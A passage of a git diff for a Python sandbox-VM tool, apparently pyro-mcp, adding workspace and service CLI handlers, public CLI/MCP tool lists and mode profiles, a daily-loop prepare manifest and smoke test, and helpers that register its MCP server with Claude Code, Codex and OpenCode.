BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-status", + ) + return + if args.workspace_service_command == "logs": + try: + payload = pyro.logs_service( + args.workspace_id, + args.service_name, + tail_lines=args.tail_lines, + all=bool(args.all), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_logs_human(payload) + return + if args.workspace_service_command == "stop": + try: + payload = pyro.stop_service(args.workspace_id, args.service_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-stop", + ) + return + if args.workspace_command == "status": + payload = pyro.status_workspace(args.workspace_id) + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Workspace") + return + if args.workspace_command == "summary": + payload = pyro.summarize_workspace(args.workspace_id) + if bool(args.json): + _print_json(payload) + else: + _print_workspace_review_summary_human(payload) + return + if args.workspace_command == "logs": + payload = pyro.logs_workspace(args.workspace_id) + if bool(args.json): + _print_json(payload) + else: + _print_workspace_logs_human(payload) + return + if args.workspace_command == "delete": + payload = pyro.delete_workspace(args.workspace_id) + if bool(args.json): + _print_json(payload) + else: + print(f"Deleted workspace: {str(payload.get('workspace_id', 'unknown'))}") + return if args.command == "doctor": - _print_json(doctor_report(platform=args.platform)) + try: + payload = doctor_report( + platform=args.platform, + environment=args.environment, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_doctor_human(payload) return if args.command == "demo" and args.demo_command == "ollama": try: @@ -137,3 +3674,7 @@ def main() -> None: return result = run_demo(network=bool(args.network)) _print_json(result) + + +if __name__ == "__main__": + main() diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index f7a533d..a7b2ba1 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -2,35 +2,215 @@ from __future__ import annotations -PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run") +PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "host", "mcp", "prepare", "run", "workspace") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") +PUBLIC_CLI_DOCTOR_FLAGS = ("--platform", "--environment", "--json") +PUBLIC_CLI_HOST_SUBCOMMANDS = ("connect", "doctor", "print-config", "repair") +PUBLIC_CLI_HOST_COMMON_FLAGS = ( + "--installed-package", + "--mode", + "--profile", + "--project-path", + "--repo-url", + "--repo-ref", + "--no-project-source", +) +PUBLIC_CLI_HOST_CONNECT_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS +PUBLIC_CLI_HOST_DOCTOR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",) +PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--output",) +PUBLIC_CLI_HOST_REPAIR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",) +PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",) +PUBLIC_CLI_MCP_SERVE_FLAGS = ( + "--mode", + "--profile", + "--project-path", + "--repo-url", + "--repo-ref", + "--no-project-source", +) +PUBLIC_CLI_PREPARE_FLAGS = ("--network", "--force", "--json") +PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( + "create", + "delete", + "disk", + "diff", + "exec", + "export", + "file", + "list", + "logs", + "patch", + "reset", + "service", + "shell", + "snapshot", + "start", + "status", + "stop", + "summary", + "sync", + "update", +) +PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read") +PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write") +PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",) +PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") +PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") +PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list") +PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) +PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( + "--vcpu-count", + "--mem-mib", + "--ttl-seconds", + "--network-policy", + "--allow-host-compat", + "--seed-path", + "--name", + "--label", + "--secret", + "--secret-file", + "--json", + "--id-only", +) +PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json") +PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json") +PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") +PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") +PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json") +PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json") +PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json") +PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") +PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json") +PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( + "--cwd", + "--ready-file", + "--ready-tcp", + "--ready-http", + "--ready-command", + "--ready-timeout-seconds", + "--ready-interval-ms", + "--secret-env", + "--publish", + "--json", +) +PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ( + "--cwd", + "--cols", + "--rows", + "--secret-env", + "--json", + "--id-only", +) +PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ( + "--cursor", + "--max-chars", + "--plain", + "--wait-for-idle-ms", + "--json", +) +PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") +PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = ( + "--name", + "--clear-name", + "--label", + "--clear-label", + "--json", +) PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", "--timeout-seconds", "--ttl-seconds", "--network", + "--allow-host-compat", + "--json", ) +PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full") +PUBLIC_MCP_MODES = ("repro-fix", "inspect", "cold-start", "review-eval") PUBLIC_SDK_METHODS = ( + "apply_workspace_patch", + "close_shell", "create_server", + "create_snapshot", "create_vm", + "create_workspace", + "delete_snapshot", "delete_vm", + "delete_workspace", + "diff_workspace", "exec_vm", + "exec_workspace", + "export_workspace", + "export_workspace_disk", "inspect_environment", "list_environments", + "list_services", + "list_snapshots", + "list_workspace_disk", + "list_workspace_files", + "list_workspaces", + "logs_service", + "logs_workspace", "network_info_vm", + "open_shell", "prune_environments", "pull_environment", + "push_workspace_sync", + "read_shell", + "read_workspace_disk", + "read_workspace_file", "reap_expired", + "reset_workspace", "run_in_vm", + "signal_shell", + "start_service", "start_vm", + "start_workspace", + "status_service", "status_vm", + "status_workspace", + "stop_service", "stop_vm", + "stop_workspace", + "summarize_workspace", + "update_workspace", + "write_shell", + "write_workspace_file", ) PUBLIC_MCP_TOOLS = ( + "service_list", + "service_logs", + "service_start", + "service_status", + "service_stop", + "shell_close", + "shell_open", + "shell_read", + "shell_signal", + "shell_write", + "snapshot_create", + "snapshot_delete", + "snapshot_list", "vm_create", "vm_delete", "vm_exec", @@ -41,4 +221,119 @@ PUBLIC_MCP_TOOLS = ( "vm_start", "vm_status", "vm_stop", + "workspace_create", + "workspace_delete", + "workspace_diff", + "workspace_disk_export", + "workspace_disk_list", + "workspace_disk_read", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_file_write", + "workspace_list", + "workspace_logs", + "workspace_patch_apply", + "workspace_reset", + "workspace_summary", + "workspace_start", + "workspace_status", + "workspace_stop", + "workspace_sync_push", + "workspace_update", ) +PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",) +PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = ( + "vm_run", + "workspace_create", + "workspace_delete", + "workspace_diff", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_file_write", + "workspace_list", + "workspace_logs", + "workspace_patch_apply", + "workspace_reset", + "workspace_summary", + "workspace_status", + "workspace_sync_push", + "workspace_update", +) +PUBLIC_MCP_REPRO_FIX_MODE_TOOLS = ( + "workspace_create", + "workspace_delete", + "workspace_diff", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_file_write", + "workspace_list", + "workspace_logs", + "workspace_patch_apply", + "workspace_reset", + "workspace_summary", + "workspace_status", + "workspace_sync_push", + "workspace_update", +) +PUBLIC_MCP_INSPECT_MODE_TOOLS = ( + "workspace_create", + "workspace_delete", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_list", + "workspace_logs", + "workspace_summary", + "workspace_status", + "workspace_update", +) +PUBLIC_MCP_COLD_START_MODE_TOOLS = ( + "service_list", + "service_logs", + "service_start", + "service_status", + "service_stop", + "workspace_create", + "workspace_delete", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_list", + "workspace_logs", + "workspace_reset", + "workspace_summary", + "workspace_status", + "workspace_update", +) +PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS = ( + "shell_close", + "shell_open", + "shell_read", + "shell_signal", + "shell_write", + "snapshot_create", + "snapshot_delete", + "snapshot_list", + "workspace_create", + "workspace_delete", + "workspace_diff", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_list", + "workspace_logs", + "workspace_reset", + "workspace_summary", + "workspace_status", + "workspace_update", +) +PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS diff --git a/src/pyro_mcp/daily_loop.py b/src/pyro_mcp/daily_loop.py new file mode 100644 index 0000000..164e1ba --- /dev/null +++ b/src/pyro_mcp/daily_loop.py @@ -0,0 +1,152 @@ +"""Machine-level daily-loop warmup state for the CLI prepare flow.""" + +from __future__ import annotations + +import json +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Literal + +DEFAULT_PREPARE_ENVIRONMENT = "debian:12" +PREPARE_MANIFEST_LAYOUT_VERSION = 1 +DailyLoopStatus = Literal["cold", "warm", "stale"] + + +def _environment_key(environment: str) -> str: + return environment.replace("/", "_").replace(":", "_") + + +@dataclass(frozen=True) +class DailyLoopManifest: + """Persisted machine-readiness proof for one environment on one platform.""" + + environment: str + environment_version: str + platform: str + catalog_version: str + bundle_version: str | None + prepared_at: float + network_prepared: bool + last_prepare_duration_ms: int + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": PREPARE_MANIFEST_LAYOUT_VERSION, + "environment": self.environment, + "environment_version": self.environment_version, + "platform": self.platform, + "catalog_version": self.catalog_version, + "bundle_version": self.bundle_version, + "prepared_at": self.prepared_at, + "network_prepared": self.network_prepared, + "last_prepare_duration_ms": self.last_prepare_duration_ms, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> "DailyLoopManifest": + return cls( + environment=str(payload["environment"]), + environment_version=str(payload["environment_version"]), + platform=str(payload["platform"]), + catalog_version=str(payload["catalog_version"]), + bundle_version=( + None if payload.get("bundle_version") is None else str(payload["bundle_version"]) + ), + prepared_at=float(payload["prepared_at"]), + network_prepared=bool(payload.get("network_prepared", False)), + last_prepare_duration_ms=int(payload.get("last_prepare_duration_ms", 0)), + ) + + +def prepare_manifest_path(cache_dir: Path, *, platform: str, environment: str) -> Path: + return cache_dir / ".prepare" / platform / f"{_environment_key(environment)}.json" + + +def load_prepare_manifest(path: Path) -> tuple[DailyLoopManifest | None, str | None]: + if not path.exists(): + return None, None + try: + payload = json.loads(path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError) as exc: + return None, f"prepare manifest is unreadable: {exc}" + if not isinstance(payload, dict): + return None, "prepare manifest is not a JSON object" + try: + manifest = DailyLoopManifest.from_payload(payload) + except (KeyError, TypeError, ValueError) as exc: + return None, f"prepare manifest is invalid: {exc}" + return manifest, None + + +def write_prepare_manifest(path: Path, manifest: DailyLoopManifest) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text( + json.dumps(manifest.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + +def evaluate_daily_loop_status( + *, + environment: str, + environment_version: str, + platform: str, + catalog_version: str, + bundle_version: str | None, + installed: bool, + manifest: DailyLoopManifest | None, + manifest_error: str | None = None, +) -> tuple[DailyLoopStatus, str | None]: + if manifest_error is not None: + return "stale", manifest_error + if manifest is None: + if not installed: + return "cold", "environment is not installed" + return "cold", "daily loop has not been prepared yet" + if not installed: + return "stale", "environment install is missing" + if manifest.environment != environment: + return "stale", "prepare manifest environment does not match the selected environment" + if manifest.environment_version != environment_version: + return "stale", "environment version changed since the last prepare run" + if manifest.platform != platform: + return "stale", "platform changed since the last prepare run" + if manifest.catalog_version != catalog_version: + return "stale", "catalog version changed since the last prepare run" + if manifest.bundle_version != bundle_version: + return "stale", "runtime bundle version changed since the last prepare run" + return "warm", None + + +def prepare_request_is_satisfied( + manifest: DailyLoopManifest | None, + *, + require_network: bool, +) -> bool: + if manifest is None: + return False + if require_network and not manifest.network_prepared: + return False + return True + + +def serialize_daily_loop_report( + *, + environment: str, + status: DailyLoopStatus, + installed: bool, + cache_dir: Path, + manifest_path: Path, + reason: str | None, + manifest: DailyLoopManifest | None, +) -> dict[str, Any]: + return { + "environment": environment, + "status": status, + "installed": installed, + "network_prepared": bool(manifest.network_prepared) if manifest is not None else False, + "prepared_at": None if manifest is None else manifest.prepared_at, + "manifest_path": str(manifest_path), + "reason": reason, + "cache_dir": str(cache_dir), + } diff --git a/src/pyro_mcp/daily_loop_smoke.py b/src/pyro_mcp/daily_loop_smoke.py new file mode 100644 index 0000000..4cd82c7 --- /dev/null +++ b/src/pyro_mcp/daily_loop_smoke.py @@ -0,0 +1,131 @@ +"""Real guest-backed smoke for the daily local prepare and reset loop.""" + +from __future__ import annotations + +import argparse +import json +import subprocess +import sys +import tempfile +from pathlib import Path + +from pyro_mcp.api import Pyro +from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT + + +def _log(message: str) -> None: + print(f"[daily-loop] {message}", flush=True) + + +def _write_text(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + + +def _run_prepare(environment: str) -> dict[str, object]: + proc = subprocess.run( # noqa: S603 + [sys.executable, "-m", "pyro_mcp.cli", "prepare", environment, "--json"], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(proc.stderr.strip() or proc.stdout.strip() or "pyro prepare failed") + payload = json.loads(proc.stdout) + if not isinstance(payload, dict): + raise RuntimeError("pyro prepare did not return a JSON object") + return payload + + +def run_daily_loop_smoke(*, environment: str = DEFAULT_PREPARE_ENVIRONMENT) -> None: + _log(f"prepare environment={environment}") + first_prepare = _run_prepare(environment) + assert bool(first_prepare["prepared"]) is True, first_prepare + second_prepare = _run_prepare(environment) + assert bool(second_prepare["reused"]) is True, second_prepare + + pyro = Pyro() + with tempfile.TemporaryDirectory(prefix="pyro-daily-loop-") as temp_dir: + root = Path(temp_dir) + seed_dir = root / "seed" + export_dir = root / "export" + _write_text(seed_dir / "message.txt", "broken\n") + _write_text( + seed_dir / "check.sh", + "#!/bin/sh\n" + "set -eu\n" + "value=$(cat message.txt)\n" + '[ "$value" = "fixed" ] || {\n' + " printf 'expected fixed got %s\\n' \"$value\" >&2\n" + " exit 1\n" + "}\n" + "printf '%s\\n' \"$value\"\n", + ) + + workspace_id: str | None = None + try: + created = pyro.create_workspace( + environment=environment, + seed_path=seed_dir, + name="daily-loop", + labels={"suite": "daily-loop-smoke"}, + ) + workspace_id = str(created["workspace_id"]) + _log(f"workspace_id={workspace_id}") + + failing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(failing["exit_code"]) != 0, failing + + patched = pyro.apply_workspace_patch( + workspace_id, + patch=("--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n"), + ) + assert bool(patched["changed"]) is True, patched + + passing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(passing["exit_code"]) == 0, passing + assert str(passing["stdout"]) == "fixed\n", passing + + export_path = export_dir / "message.txt" + exported = pyro.export_workspace( + workspace_id, + "message.txt", + output_path=export_path, + ) + assert export_path.read_text(encoding="utf-8") == "fixed\n" + assert str(exported["artifact_type"]) == "file", exported + + reset = pyro.reset_workspace(workspace_id) + assert int(reset["reset_count"]) == 1, reset + + rerun = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(rerun["exit_code"]) != 0, rerun + reset_read = pyro.read_workspace_file(workspace_id, "message.txt") + assert str(reset_read["content"]) == "broken\n", reset_read + finally: + if workspace_id is not None: + try: + pyro.delete_workspace(workspace_id) + except Exception: + pass + + +def build_arg_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + description="Run the real guest-backed daily-loop prepare and reset smoke.", + ) + parser.add_argument( + "--environment", + default=DEFAULT_PREPARE_ENVIRONMENT, + help=f"Environment to warm and test. Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`.", + ) + return parser + + +def main() -> None: + args = build_arg_parser().parse_args() + run_daily_loop_smoke(environment=args.environment) + + +if __name__ == "__main__": + main() diff --git a/src/pyro_mcp/demo.py b/src/pyro_mcp/demo.py index fd44816..dcf43b2 100644 --- a/src/pyro_mcp/demo.py +++ b/src/pyro_mcp/demo.py @@ -6,6 +6,7 @@ import json from typing import Any from pyro_mcp.api import Pyro +from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT INTERNET_PROBE_COMMAND = ( 'python3 -c "import urllib.request; ' @@ -30,10 +31,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=_demo_command(status), - vcpu_count=1, - mem_mib=512, + vcpu_count=DEFAULT_VCPU_COUNT, + mem_mib=DEFAULT_MEM_MIB, timeout_seconds=30, - ttl_seconds=600, + ttl_seconds=DEFAULT_TTL_SECONDS, network=network, ) diff --git a/src/pyro_mcp/doctor.py b/src/pyro_mcp/doctor.py index 296fedb..1de3ba3 100644 --- a/src/pyro_mcp/doctor.py +++ b/src/pyro_mcp/doctor.py @@ -5,16 +5,18 @@ from __future__ import annotations import argparse import json +from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.") parser.add_argument("--platform", default=DEFAULT_PLATFORM) + parser.add_argument("--environment", default=DEFAULT_PREPARE_ENVIRONMENT) return parser def main() -> None: args = _build_parser().parse_args() - report = doctor_report(platform=args.platform) + report = doctor_report(platform=args.platform, environment=args.environment) print(json.dumps(report, indent=2, sort_keys=True)) diff --git a/src/pyro_mcp/host_helpers.py b/src/pyro_mcp/host_helpers.py new file mode 100644 index 0000000..dc06654 --- /dev/null +++ b/src/pyro_mcp/host_helpers.py @@ -0,0 +1,370 @@ +"""Helpers for bootstrapping and repairing supported MCP chat hosts.""" + +from __future__ import annotations + +import json +import shlex +import shutil +import subprocess +from dataclasses import dataclass +from datetime import UTC, datetime +from pathlib import Path +from typing import Literal + +from pyro_mcp.api import McpToolProfile, WorkspaceUseCaseMode + +SUPPORTED_HOST_CONNECT_TARGETS = ("claude-code", "codex") +SUPPORTED_HOST_REPAIR_TARGETS = ("claude-code", "codex", "opencode") +SUPPORTED_HOST_PRINT_CONFIG_TARGETS = ("opencode",) +DEFAULT_HOST_SERVER_NAME = "pyro" +DEFAULT_OPENCODE_CONFIG_PATH = Path.home() / ".config" / "opencode" / "opencode.json" + +HostStatus = Literal["drifted", "missing", "ok", "unavailable"] + + +@dataclass(frozen=True) +class HostServerConfig: + installed_package: bool = False + profile: McpToolProfile = "workspace-core" + mode: WorkspaceUseCaseMode | None = None + project_path: str | None = None + repo_url: str | None = None + repo_ref: str | None = None + no_project_source: bool = False + + +@dataclass(frozen=True) +class HostDoctorEntry: + host: str + installed: bool + configured: bool + status: HostStatus + details: str + repair_command: str + + +def _run_command(command: list[str]) -> subprocess.CompletedProcess[str]: + return subprocess.run( # noqa: S603 + command, + check=False, + capture_output=True, + text=True, + ) + + +def _host_binary(host: str) -> str: + if host == "claude-code": + return "claude" + if host == "codex": + return "codex" + raise ValueError(f"unsupported CLI host {host!r}") + + +def _canonical_server_command(config: HostServerConfig) -> list[str]: + if config.mode is not None and config.profile != "workspace-core": + raise ValueError("--mode and --profile are mutually exclusive") + if config.project_path is not None and config.repo_url is not None: + raise ValueError("--project-path and --repo-url are mutually exclusive") + if config.no_project_source and ( + config.project_path is not None + or config.repo_url is not None + or config.repo_ref is not None + ): + raise ValueError( + "--no-project-source cannot be combined with --project-path, --repo-url, or --repo-ref" + ) + if config.repo_ref is not None and config.repo_url is None: + raise ValueError("--repo-ref requires --repo-url") + + command = ["pyro", "mcp", "serve"] + if not config.installed_package: + command = ["uvx", "--from", "pyro-mcp", *command] + if config.mode is not None: + command.extend(["--mode", config.mode]) + elif config.profile != "workspace-core": + command.extend(["--profile", config.profile]) + if config.project_path is not None: + command.extend(["--project-path", config.project_path]) + elif config.repo_url is not None: + command.extend(["--repo-url", config.repo_url]) + if config.repo_ref is not None: + command.extend(["--repo-ref", config.repo_ref]) + elif config.no_project_source: + command.append("--no-project-source") + return command + + +def _render_cli_command(command: list[str]) -> str: + return shlex.join(command) + + +def _repair_command(host: str, config: HostServerConfig, *, config_path: Path | None = None) -> str: + command = ["pyro", "host", "repair", host] + if config.installed_package: + command.append("--installed-package") + if config.mode is not None: + command.extend(["--mode", config.mode]) + elif config.profile != "workspace-core": + command.extend(["--profile", config.profile]) + if config.project_path is not None: + command.extend(["--project-path", config.project_path]) + elif config.repo_url is not None: + command.extend(["--repo-url", config.repo_url]) + if config.repo_ref is not None: + command.extend(["--repo-ref", config.repo_ref]) + elif config.no_project_source: + command.append("--no-project-source") + if config_path is not None: + command.extend(["--config-path", str(config_path)]) + return _render_cli_command(command) + + +def _command_matches(output: str, expected: list[str]) -> bool: + normalized_output = output.strip() + if ":" in normalized_output: + normalized_output = normalized_output.split(":", 1)[1].strip() + try: + parsed = shlex.split(normalized_output) + except ValueError: + parsed = normalized_output.split() + return parsed == expected + + +def _upsert_opencode_config( + *, + config_path: Path, + config: HostServerConfig, +) -> tuple[dict[str, object], Path | None]: + existing_payload: dict[str, object] = {} + backup_path: Path | None = None + if config_path.exists(): + raw_text = config_path.read_text(encoding="utf-8") + try: + parsed = json.loads(raw_text) + except json.JSONDecodeError: + timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S") + backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}") + shutil.move(str(config_path), str(backup_path)) + parsed = {} + if isinstance(parsed, dict): + existing_payload = parsed + else: + timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S") + backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}") + shutil.move(str(config_path), str(backup_path)) + payload = dict(existing_payload) + mcp_payload = payload.get("mcp") + if not isinstance(mcp_payload, dict): + mcp_payload = {} + else: + mcp_payload = dict(mcp_payload) + mcp_payload[DEFAULT_HOST_SERVER_NAME] = canonical_opencode_entry(config) + payload["mcp"] = mcp_payload + return payload, backup_path + + +def canonical_opencode_entry(config: HostServerConfig) -> dict[str, object]: + return { + "type": "local", + "enabled": True, + "command": _canonical_server_command(config), + } + + +def render_opencode_config(config: HostServerConfig) -> str: + return ( + json.dumps( + {"mcp": {DEFAULT_HOST_SERVER_NAME: canonical_opencode_entry(config)}}, + indent=2, + ) + + "\n" + ) + + +def print_or_write_opencode_config( + *, + config: HostServerConfig, + output_path: Path | None = None, +) -> dict[str, object]: + rendered = render_opencode_config(config) + if output_path is None: + return { + "host": "opencode", + "rendered_config": rendered, + "server_command": _canonical_server_command(config), + } + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(rendered, encoding="utf-8") + return { + "host": "opencode", + "output_path": str(output_path), + "server_command": _canonical_server_command(config), + } + + +def connect_cli_host(host: str, *, config: HostServerConfig) -> dict[str, object]: + binary = _host_binary(host) + if shutil.which(binary) is None: + raise RuntimeError(f"{binary} CLI is not installed or not on PATH") + server_command = _canonical_server_command(config) + _run_command([binary, "mcp", "remove", DEFAULT_HOST_SERVER_NAME]) + result = _run_command([binary, "mcp", "add", DEFAULT_HOST_SERVER_NAME, "--", *server_command]) + if result.returncode != 0: + details = (result.stderr or result.stdout).strip() or f"{binary} mcp add failed" + raise RuntimeError(details) + return { + "host": host, + "server_command": server_command, + "verification_command": [binary, "mcp", "list"], + } + + +def repair_opencode_host( + *, + config: HostServerConfig, + config_path: Path | None = None, +) -> dict[str, object]: + resolved_path = ( + DEFAULT_OPENCODE_CONFIG_PATH + if config_path is None + else config_path.expanduser().resolve() + ) + resolved_path.parent.mkdir(parents=True, exist_ok=True) + payload, backup_path = _upsert_opencode_config(config_path=resolved_path, config=config) + resolved_path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8") + result: dict[str, object] = { + "host": "opencode", + "config_path": str(resolved_path), + "server_command": _canonical_server_command(config), + } + if backup_path is not None: + result["backup_path"] = str(backup_path) + return result + + +def repair_host( + host: str, + *, + config: HostServerConfig, + config_path: Path | None = None, +) -> dict[str, object]: + if host == "opencode": + return repair_opencode_host(config=config, config_path=config_path) + return connect_cli_host(host, config=config) + + +def _doctor_cli_host(host: str, *, config: HostServerConfig) -> HostDoctorEntry: + binary = _host_binary(host) + repair_command = _repair_command(host, config) + if shutil.which(binary) is None: + return HostDoctorEntry( + host=host, + installed=False, + configured=False, + status="unavailable", + details=f"{binary} CLI was not found on PATH", + repair_command=repair_command, + ) + expected_command = _canonical_server_command(config) + get_result = _run_command([binary, "mcp", "get", DEFAULT_HOST_SERVER_NAME]) + combined_get_output = (get_result.stdout + get_result.stderr).strip() + if get_result.returncode == 0: + status: HostStatus = ( + "ok" if _command_matches(combined_get_output, expected_command) else "drifted" + ) + return HostDoctorEntry( + host=host, + installed=True, + configured=True, + status=status, + details=combined_get_output or f"{binary} MCP entry exists", + repair_command=repair_command, + ) + + list_result = _run_command([binary, "mcp", "list"]) + combined_list_output = (list_result.stdout + list_result.stderr).strip() + configured = DEFAULT_HOST_SERVER_NAME in combined_list_output.split() + return HostDoctorEntry( + host=host, + installed=True, + configured=configured, + status="drifted" if configured else "missing", + details=combined_get_output or combined_list_output or f"{binary} MCP entry missing", + repair_command=repair_command, + ) + + +def _doctor_opencode_host( + *, + config: HostServerConfig, + config_path: Path | None = None, +) -> HostDoctorEntry: + resolved_path = ( + DEFAULT_OPENCODE_CONFIG_PATH + if config_path is None + else config_path.expanduser().resolve() + ) + repair_command = _repair_command("opencode", config, config_path=config_path) + installed = shutil.which("opencode") is not None + if not resolved_path.exists(): + return HostDoctorEntry( + host="opencode", + installed=installed, + configured=False, + status="missing" if installed else "unavailable", + details=f"OpenCode config missing at {resolved_path}", + repair_command=repair_command, + ) + try: + payload = json.loads(resolved_path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + return HostDoctorEntry( + host="opencode", + installed=installed, + configured=False, + status="drifted" if installed else "unavailable", + details=f"OpenCode config is 